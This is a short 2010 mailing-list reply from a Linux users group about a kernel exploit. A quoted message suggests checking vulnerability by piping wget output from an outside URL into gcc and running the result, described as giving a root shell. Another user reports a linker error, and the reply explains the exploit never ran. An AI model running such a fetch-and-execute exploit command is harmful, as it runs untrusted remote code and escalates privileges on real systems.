Re: [tlug] Linux Kernel Exploit News

[Edward Middleton <edward.middleton@example.com>]

On 09/23/2010 03:04 PM, CL wrote:
> On 09/23/2010 12:36 PM, Kalin KOZHUHAROV wrote:
> > On Thu, Sep 23, 2010 at 10:33, CL<az.4tlug@example.com>   wrote:
>>
> > If you want to check whether your system is affected, as a normal user do:
> >
> > $ wget -q http://thinrope.net/s/robert_you_suck.c -O - |gcc -x c -o
> > r00t -&&   ./r00t
> >
> > If you get a root shell, guess what - YOU ARE affected.
>
> It says:
>
> (.text+0x20): undefined reference to `main'
> collect2: ld returned 1 exit status
>
> So, I guess I am not got.

Thats a linker error, the && means that the exploit code wouldn't have 
been run.

Edward